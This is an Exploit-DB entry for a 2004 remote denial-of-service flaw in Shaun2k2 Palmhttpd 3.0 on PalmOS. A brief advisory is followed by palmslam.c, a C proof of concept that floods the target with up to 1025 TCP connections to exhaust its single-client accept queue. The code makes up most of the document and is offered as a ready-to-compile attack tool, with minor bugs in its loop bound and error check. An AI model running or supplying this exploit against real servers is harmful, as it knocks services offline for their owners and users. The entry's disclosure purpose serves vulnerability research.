Shaun2k2 Palmhttpd Server 3.0 - Remote Denial of Service

EDB-ID:

23665

Author:

shaun2k2

Type:

dos

Platform:

Windows

Published:

2004-02-09

// source: https://www.securityfocus.com/bid/9608/info

It has been reported that Palmhttpd server may be prone to remote denial of service vulnerability, when an attacker attempts to establish multiple connections with the software. This issue occurs because PalmOS can only handle one client connection.

Shaun2k2 Palmhttpd version 3.0 and prior may be prone to this issue. Since the application is an extension of 'httpd for PalmOS' server by Jim Rees, it is assumed that 'httpd for PalmOS' is vulnerable as well, however, this product has been discontinued.

---palmslam.c
/* PalmOS httpd accept queue overflow PoC exploit.
 * Compile: gcc palmslam.c -o palmslam
 *
 * -shaun2k2
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#define MAX_CON 1025
int main(int argc, char *argv[]) {
        if(argc < 3) {
                printf("Usage: palmslam <host>
<port>\n");
                exit(-1);
        }

        int sock[MAX_CON];
        int i;
        struct sockaddr_in dest[MAX_CON];
        struct hostent *host;
        if((host = gethostbyname(argv[1])) == -1) {
                printf("Couldn't resolve %s!\n",
argv[1]);
                exit(-1);
        }

        for(i = 0; i <= MAX_CON; i++) {
                if((sock[i] = socket(AF_INET,
SOCK_STREAM, 0)) == -1) {
                        printf("Couldn't create
socket!\n");
                        exit(-1);
                }

                dest[i].sin_family = AF_INET;
                dest[i].sin_port =
htons(atoi(argv[2]));
                dest[i].sin_addr = *((struct in_addr
*)host->h_addr);

                if(connect(sock[i], (struct sockaddr
*)&dest[i], sizeof(struct sockaddr)) == -1) {
                        printf("Couldn't connect to %s
on port %s!\n", argv[1], argv[2]);
                        exit(-1);
                }

                printf("%d : Connected!\n", i);
        }
        return(0);
}